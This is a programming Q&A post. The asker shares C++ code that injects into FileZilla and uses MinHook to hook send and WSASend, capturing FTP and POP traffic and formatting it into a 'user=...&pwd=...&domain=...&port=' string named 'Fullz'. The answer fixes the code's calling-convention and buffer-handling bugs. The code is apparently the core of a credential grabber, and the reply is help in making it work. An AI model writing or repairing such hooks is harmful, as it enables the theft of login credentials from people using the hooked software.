i am trying to hook Send/ WSASend to monitor traffic, show data in messagebox, when i hook other than show a messagebox with the traffic it pops out this runtime check error.
The code seems to compile correctly , looks like this below
#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"
#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")
using namespace std;
LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}
typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;
void ExportBuffer(char *buf, SOCKET s)
{
char *buffer = (char*)buf;
if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
{
sockaddr_in peeraddr;
int size = sizeof(peeraddr);
getpeername(s, (struct sockaddr *)&peeraddr, &size);
struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
char* IP = inet_ntoa(peeraddr.sin_addr);
int Port = (int)htons(peeraddr.sin_port);
if (IP != NULL && Port > 0)
{
char Fullz[250];
wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
MessageBoxA(0, Fullz, 0, 0);
}
}
}
int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
int hResult = True_send(s, buf, len, flags);
if (hResult > 0)
{
ExportBuffer((char*)buf, s);
}
return hResult;
}
int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
if (hResult > 0)
{
ExportBuffer((char*)lpBuffers->buf, s);
}
return hResult;
}
void hookSend()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void hookWSApop()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void poptrigger()
{
hookSend();
hookWSApop();
}
When i inject into filezilla i get Runtime check error #0 on line 57.
Your
send_FuncType
typedef is missing an explicit calling convention, so the compiler's default (usually__cdecl
) is used.send()
uses the__stdcall
calling convention (as almost every Win32 API function does). So you are likely to cause runtime errors when callingTrue_send()
due to that calling convention mismatch. TheWINAPI
macro includes the__stdcall
convention, so you don't have a similar mismatch on yourWSASend()
hook.Also,
ExportBuffer()
has quite a lot of logic bugs:send()
andWSASend()
do not operate on null-terminated buffers (and null terminators do not exist in the FTP and POP3 protocols), but yourstrncmp
andwsprintfA
operations expect null-terminated data.sockaddr_storage
instead ofsockaddr_in
, and useInetPton()
instead ofinet_ntoa()
.wsprintfA()
. You have 4 format specifiers but are passing only 3 data values."FTP"
and"POP"
do not appear in transmitted data in those protocols, so what are you really looking for?You need to fix those errors.